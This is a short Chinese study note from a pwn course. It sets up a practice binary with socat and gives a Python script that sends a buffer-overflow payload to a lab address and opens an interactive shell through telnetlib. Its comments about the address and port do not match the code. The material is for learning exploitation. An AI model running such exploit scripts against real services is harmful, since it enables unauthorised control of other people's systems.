【pwn入门】使用python打二进制
声明
本文是B站你想有多PWN学习的笔记,包含一些视频外的扩展知识。
程序网络交互初体验
将程序部署成可以远程访问的
socat tcp-l:8877,fork exec:./question_1_plus_x64,reuseaddr
通过网络访问程序
nc 127.0.0.1 8877
攻击脚本
import socket
import telnetlib
def pwn():
# 创建一个TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务器127.0.0.1的8877
s.connect(("192.168.44.138", 8877))
payload = 'A' * 0x8 + '\x10\n' # 构造payload
s.sendall(payload.encode(encoding='utf_8', errors='strict')) # python3这里需要编码
# 创建一个telnet来产生一个控制服务器的shell
t = telnetlib.Telnet()
t.sock = s
t.interact()
if __name__ == "__main__":
# socat tcp-l:8888,fork exec:./question_1_plus_x64,reuseaddr
pwn()